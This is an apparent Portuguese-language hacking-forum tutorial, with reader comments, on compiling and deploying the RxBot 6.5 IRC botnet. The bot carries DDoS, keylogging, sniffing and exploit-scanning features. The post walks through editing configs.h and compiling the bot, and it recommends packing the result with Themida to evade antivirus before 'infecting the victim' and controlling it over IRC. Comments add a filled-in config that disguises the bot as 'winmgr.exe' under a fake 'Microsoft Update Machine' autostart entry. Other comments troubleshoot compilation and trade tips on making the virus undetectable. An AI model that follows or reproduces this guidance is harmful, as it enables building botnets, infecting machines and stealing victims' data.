Tutorial Botnet – RxBot 6.5

- Introdução

Andei lendo aqui no forum muitas dúvidas sobre como fazer, ou como utilizar um botnet. Então pesquisei para ver se haviam mais matérias sobre o gênero, aqui, e encontrei apenas uma, a do moderador fvox!
Fiz este tutorial com o intuito de passar conhecimento para a comunidade invaders, e não para fins maliciosos! Os créditos do tutorial também vão para meu amigo Skyze, que me emprestou seu canal IRC e me deu diversos toques sobre o assunto!
Agora irei fazer uma breve introdução sobre o que são botnets!
Para quem não sabe, botnets são uma rede de máquinas infectadas por um botnet, assim podendo chamá-las de “máquinas zumbis”, ou simplemente “bots”!
A pessoa que controla as máquinas infectadas, chamado de Bot Herder, conecta-se a elas através de canais da rede IRC, na maioria das vezes. Os ataques mais comuns envolvendo botnets, são os de DDoS (Negação de serviço) e spamming.
A imagem abaixo mostra esquematicamente como funcionam as botnets:

Imagem

- Downloads

:arrow: Cliente mIRC – Download
O Cliente mIRC será utilizado para nos conectarmos com os bots.

:arrow: RxBot 6.5 – Download
O RxBot é um botnet ótimo, em C++. Ele possui as mais variadas funções, como scanning, cmd remoto, DDoS e muitas outras!

:arrow: Visual C++ 6.0 – Download
Visual C++ 6 é um compilador de C++ que é recomendado para compilar o RxBot. Eu não testei em versões superiores. Se vocês quiserem, fiquem à vontade e postem o resultado!

:arrow: Microsoft Platform SDK- Download
É grandinho, mas é necessário instalar hehe

SENHA DOS ARQUIVOS: 123456

- Configurando Visual C++ 6.0

Após baixar os arquivos, extraia tudo para algum diretório de fácil acesso. Recomendo no C:\ .
Depois instale o Visual C++ 6 e o Microsoft Platform SDK. Este último pode demorar bastante, e ocupará cerca de 900 mb em seu disco rígido.
Agora precisaremos fazer algumas alterações no compilador.
Iniciem o Visual C++ 6. Na barra de menus, vá em:
Tools -> Options
Abrirá uma janela com 6 abas, então clique em Directories

Imagem

Irão existir três itens já, então clique no botão de adicionar, e insira mais estes:

C:\Program Files\Microsoft Platform SDK\
C:\Program Files\Microsoft Platform SDK\Bin\
C:\Program Files\Microsoft Platform SDK\Include\
C:\Program Files\Microsoft Platform SDK\Lib\

OBS.: Se você não instalar neste diretório procure-o.

Depois disto de OK.

- Configurando o RxBot

Agora que já configuramos o Visual C++ 6, podemos configurar o RxBot! Para isto, vamos em File -> Open.
Imagem
Iremos até a pasta que extraimos o RxBot, e nela, procuraremos o arquivo: configs.h
Este arquivo é o responsável por obter nossas informações, que farão o bot conectar ao IRC.
Ao abri-lo, procurem estas duas linhas:
Imagem
Nela, vocês devem colocar a porta do IRC. A padrão é a 6667.

Agora vocês devem ir um pouco mais para baixo da página, e procurar as seguintes linhas:
Imagem

Na imagem está tudo comentado, mas explicarei melhor os campos obrigatórios:

Código:
botid: simplismente o ID do bot
version: é a versão do bot
password: a senha que você utilizará para logar-se no bot
server: servidor do IRC
serverpass: senha do server IRC, caso possua uma
channel: canal do IRC
channelpass: senha do canal, caso possua uma
filename: arquivo do bot
keylogfile: logs do keylogger
valuename: descrição do arquivo
nickconst: é a primeira parte do nick do bot
szLocalPayloadFile: local em que o payload que será criado
modeonconn: parametros do server
exploitchan: canal do IRC
keylogchan: canal do IRC
psniffchan: canal do IRC

Depois de vocês terem configurado de acordo com seus dados, vocês podem salvar o arquivo. Após salvá-lo, vá em File -> Open Workspace
Imagem
Abra o arquivo rBot.dsw
Quando você abrir, no canto esquerdo da tela procure o arquivo configs.h e veja se ele está como você salvou.
Imagem

Caso esteja, você pode prosseguir para o próximo passo. Caso contrário, edite novamente.

Agora que tudo está pronto, falta apenas compilar o bot.
Compile-o, e na pasta do RxBot, será criada outra, chamada Debug. Nela conterá o executável do server.

- Infectando e Logando

Após você criar o servidor, você pode passá-lo no Themida (um antigo amigo hehe), para ele ficar indetectável pelo aVast, sem corromper.
Depois que você infectar a vítima, você deverá ir no mIRC, no canal que você configurou, para logar-se no bot.
Para logar, você deve fazer o seguinte:
.login 123456 <- No meu caso o “123456″ é a senha que eu determinei nas configurações.
Os comandos do bot estão em um arquivo .html junto à pasta do RxBot!

Imagem

- Conclusão

Nesta matéria, eu passei o conceito básico de botnets, e um simples exemplo de como utilizar um. Tudo que foi feito aqui foi testado em uma máquina virtual, e eu recomendo que vocês façam o mesmo. Gostaria de agradecer mais uma vez ao meu amigo Skyze por me emprestar seu canal no IRC, que eu não estarei divulgando, uns bots hehe, e por me dar umas dicas :)
Eu criei o tutorial para passar conhecimento para a comunidade Invaders, e não motivá-los a praticar tal ação! Espero que gostem!

Créditos: Rahackzin



33 Responses to Tutorial Botnet – RxBot 6.5

  1. Social comments and analytics for this post…

    This post was mentioned on Twitter by inwseguranca: Novo Post: ( http://www.inw-seguranca.com/wordpress/?p=1248 )…

  2. Paulo JR. disse:
    Qual a senha pra descompactar o RxBot 6.5?
  3. $4mu:kt disse:
    SENHA DOS ARQUIVOS: 123456
  4. Hay disse:
    Quando vou compilar o compilador acha muitos erros de sintaxe e não compila
  5. Hay disse:
    Resolvi o problema, tente explicar no tutorial cada categoria para adicionar as SDKs segue o trecho de um tuto que achei na net:

    Under executable files
    C:\PROGRAM FILES\MICROSOFT SDK\BIN
    Under include files
    C:\PROGRAM FILES\MICROSOFT SDK\INCLUDE
    Under library files
    C:\PROGRAM FILES\MICROSOFT SDK\LIB

    NOTE: It is very important that they are at the top of the path lists under Tools|Options|Directories otherwise it will not compile

    Eu estava adicionando todas as pastas que você citou em includes, acho que a maioria que ler tambem fara o mesmo

  6. Samukt disse:
    Amigo @Hay
    Obrigado por postar como se soluciona este problema!
    É muito bom poder contar com você.
  7. Davis disse:
    OLÁ AMIGO TUDO BOM?? muito obrigado mesmo pelo belissimo tutorial!!! era justamente o q eu procurava na internet! agora estou apenas com uma pequena dúvida… estou no código do MS C++ 6.0 e ao configurar o arquivo configs.h no item: “server”, eu devo definir um IP FIXO p/ esse meu bot onde com o mIRC conectarei nesse ip? //essa parte eu nao entendi! – Minha duvida é essa e tbm um pouco de lógica: quem irá se conectar aonde? o arquivo q eu gerei pelo c++ (rbot) irá ficar “escutando” até q o cliente mIRC se conectar a ele chamando pelo IP citado no “server”? É isso??? pfavor.. helpme… abraços amigo!
  8. Samukt disse:
    Amigo , nessa parte você define o servidor irc, existem muitos…
    No exemplo se.quakenet.org é um servidor irc, onde o bot se conectará.
  9. Davis disse:
    ok Samukt, jah coloquei isso no codigo, mas em qual momento que o client (mirc) ira se conectar nesse server? ou seja, em q momento eu irei apontar p/ o mirc se conectar nesse server se.quakenet.org? e como o mirc sabera exatamente qual eh o meu arquivo server do rbot? precisa de alguma autenticacao para entrar nesse server? – me desculpe as perguntas… mas nao conhecia mto dessa teoria de netbots.—
  10. Davis disse:
    no meu arquivo eu deixei assim: (denifi soh aki um canal… falta algo mais para funcionar?)
    ——————————————
    char botid[] = “Tr0gBot”; // bot id
    char version[] = “[RxBot v7.6 modded by Tr0gd0r]“; // Bots !version reply
    char password[] = “”; // bot password
    char server[] = “se.quakenet.org”; // server
    char serverpass[] = “123456″; // server password
    char channel[] = “#dsadavis_channel”; // channel that the bot should join
    char chanpass[] = “”; // channel password
    char server2[] = “”; // backup server (optional)
    char channel2[] = “”; // backup channel (optional)
    char chanpass2[] = “”; // backup channel password (optional)
    char filename[] = “winmgr.exe”; // destination file name
    char keylogfile[] = “system.txt”; // keylog filename
    char valuename[] = “Microsoft Update Machine”; // value name for autostart
    char nickconst[] = “n-”; // first part to the bot’s nick
    char szLocalPayloadFile[]=”msconfig.dat”; // Payload filename
    char modeonconn[] = “-x+B”; // Can be more than one mode and contain both + and -
    char exploitchan[] = “#n”; // Channel where exploit messages get redirected
    char keylogchan[] = “#n”; // Channel where keylog messages get redirected
    char psniffchan[] = “#n”
  11. Samukt disse:
    Amigo, você devbe botar um servidor mirc que você tenha conta,
    ex: o do Cyberscprit
    cyberscript.virtualife.com.br

    Faltou tbm o password para você logar no bot

    botid: simplismente o ID do bot
    version: é a versão do bot
    password: a senha que você utilizará para logar-se no bot
    server: servidor do IRC
    serverpass: senha do server IRC, caso possua uma
    channel: canal do IRC
    channelpass: senha do canal, caso possua uma
    filename: arquivo do bot
    keylogfile: logs do keylogger
    valuename: descrição do arquivo
    nickconst: é a primeira parte do nick do bot
    szLocalPayloadFile: local em que o payload que será criado
    modeonconn: parametros do server
    exploitchan: canal do IRC
    keylogchan: canal do IRC
    psniffchan: canal do IRC
    

  12. f0xx disse:
    funciona com o windows 7 ?
  13. leonardo disse:
    funciona o windows 7 ?
  14. leonardo disse:
    deu esses erros

    --------------------Configuration: rBot - Win32 Debug--------------------
    Compiling...
    autostart.cpp
    D:\Users\leonardo\Desktop\RxBot 6.5\includes.h(18) : fatal error C1083: Cannot open include file: 'windns.h': No such file or directory
    crc32.cpp
    

  15. Samukt disse:
    Amigo Leonardo,
    Estes erros são no Visual C++ ou no programa?
  16. leonardo disse:
    são no Visual C++
  17. leonardo disse:
    esses erros dão na hora que eu vo compilar ?
  18. leonardo disse:
    parece que tá faltando esse arquivo windns.h ?
  19. Samukt disse:
    Cannot open include file: 'windns.h'

    E que está faltando a biblioteca windns.h no seu computador.
    VocÊ deve baixa-la

  20. Cesar disse:
    varios erros de sintaxe..
    C:\ARQUIVOS DE PROGRAMAS\MICROSOFT PLATFORM SDK\INCLUDE\iphlpapi.h(183) : error C2065: ‘PMIB_ICMP_EX’ : undeclared identifier
    C:\ARQUIVOS DE PROGRAMAS\MICROSOFT PLATFORM SDK\INCLUDE\iphlpapi.h(183) : error C2146: syntax error : missing ‘)’ before identifier ‘pStats’
    C:\ARQUIVOS DE PROGRAMAS\MICROSOFT PLATFORM SDK\INCLUDE\iphlpapi.h(183) : warning C4229: anachronism used : modifiers on data are ignored
    C:\ARQUIVOS DE PROGRAMAS\MICROSOFT PLATFORM SDK\INCLUDE\iphlpapi.h(185) : error C2059: syntax error : ‘)’
    C:\Documents and Settings\cesar\Meus documentos\Downloads\RxBot 6.5\RxBot 6.5\loaddlls.h(134) : error C2065: ‘LMSTR’ : undeclared identifier
    C:\Documents and Settings\cesar\Meus documentos\Downloads\RxBot 6.5\RxBot 6.5\loaddlls.h(134) : error C2275: ‘DWORD’ : illegal use of this type as an expression
    C:\Arquivos de programas\Microsoft Visual Studio\VC98\INCLUDE\windef.h(141) : see declaration of ‘DWORD’
    C:\Documents and Settings\cesar\Meus documentos\Downloads\RxBot 6.5\RxBot 6.5\loaddlls.h(134) : error C2059: syntax error : ‘)’
    C:\Documents and Settings\cesar\Meus documentos\Downloads\RxBot 6.5\RxBot 6.5\functions.h(134) : error C2146: syntax error : missing ‘;’ before identifier ‘fNetWkstaGetInfo’
    C:\Documents and Settings\cesar\Meus documentos\Downloads\RxBot 6.5\RxBot 6.5\functions.h(134) : fatal error C1004: unexpected end of file found
  21. Cesar disse:
    isso é pq ta falantando algo no meu visual??

    obrigado

  22. Samukt disse:
    Amigo isso sao erros no programa como por exemplo:
    syntax error : missing ‘;’ before identifier ‘fNetWkstaGetInfo’
  23. cesar disse:
    eu ja descobri, e pq os diretorios sdk estavaum por ultimo.. eles tem q ta em primeiro hehehe… vlw ae

    a alguem pode me dizer como deixar o virus mais camuflado?? tipo eu uso o avira aki e ele pega facinho…

    obrigado

  24. Cesar disse:
    alguem sabe como o arquivo exe ficar menos detectavel pelos antivirus??
    eu axei um programa aki que bloqueia qualquer conta de MSN pelo tempo q vc quiser…
    c alguem tiver interesse spaykz@hotmail.com funciona mto bem :D
  25. Samukt disse:
    Amigo Cesar, aqui no site mesmo há varios métodos de como deixar um arquivo indetectavel.
  26. Cesar disse:
    Entao, ja olhei em varios lugares.. to usando so o themida agora.. porem o AVG e o AVIRA continuaum pegando.. eu consegui fazer um server de deploy keylogger indetectavel pelo AVG mas foi so ele tb.. passando no temida..

    isso qndo o temida nao corrompe o arquivo.. sei la.. os outros crypters q tem por ai ou nao funcionao no caso.. ja sao detectaveis ou sao apenas trojans e nao funcinam…

    mas vlw ae, vou ler os outros topics do site.. flw

  27. Macksterrr disse:
    Droga,não tô conseguindo,pra mim só ta dando corrompido aff,alguém me ajuda ai plz,eu uso o vista home premium.

    thx.

  28. Macksterrr disse:
    Aeeeeeeeeeeeeeeeeeeee consegui :)

    Pessoal quem usa o vista não vai conseguir compilar,mas pra resolver isso é fácil,basta baixar o Microsoft virtual pc,e rodar (Instalar) o xp nele,feito isso você consegue rodar seguindo os passos ensinados lá em cima.

    Eu usei o XP pirata service pack 2 e deu certo :)

  29. ANONIMO disse:
    FUNCIONA NO WINDOWS SEVEN ?
  30. Samukt disse:
    Creio que sim amigo Anonimo…
  31. neet disse:
    aqui está dando o seguinte erro na hora de compilar,

    “Cannot compile the file ‘C:\Bot\RxBot6.5\configs.h’; no compile tool is associated with the file extension”

    alguem me ajuda ? :/

  32. Neet disse:
    amigo, to com um problema aqui, quando eu vo compilar o configs.h ele da o seguinte erro:

    Cannot compile de file ‘C:\arquivos de programas\…’ no compile tool is associated with the file extension

    oq sera q eh isso :/

    valew !

  33. Carlos Gonçalves disse:
    Estou precisando de falar com quem fez o post, por favor me envie um email e prometo que naos e arrependerá,

    so mais uma coisa, voce tem algum conhecimento em alguma linguagem (c,c++,html,java)

    Obrigado

Deixe uma resposta

O seu endereço de email não será publicado Campos obrigatórios são marcados *

*

Você pode usar estas tags e atributos de HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>